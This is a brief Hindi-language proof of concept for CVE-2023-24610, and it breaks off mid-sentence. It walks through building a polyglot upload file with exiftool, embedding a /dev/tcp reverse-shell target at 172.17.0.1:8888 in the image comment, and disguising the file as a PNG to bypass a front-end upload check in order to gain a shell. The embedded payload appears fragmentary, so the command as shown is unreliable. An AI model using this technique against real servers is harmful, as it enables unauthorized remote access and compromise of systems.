CVE-2023-24610

CVE-2023-24610 यह CVE-2023-24610 के लिए एक प्रूफ ऑफ कॉन्सेप्ट है हम exiftool का उपयोग करके एक पॉलीग्लॉट फ़ाइल बनाकर शुरू करते हैं: exiftool -Comment="/dev/tcp/172.17.0.1/8888 " avatar.png -o polyglot.php हम फ़ाइल को png में बदल देते हैं ताकि यह फ्रंट-एंड जाँच को पास कर सके उसके बाद, हम शेल प्राप्...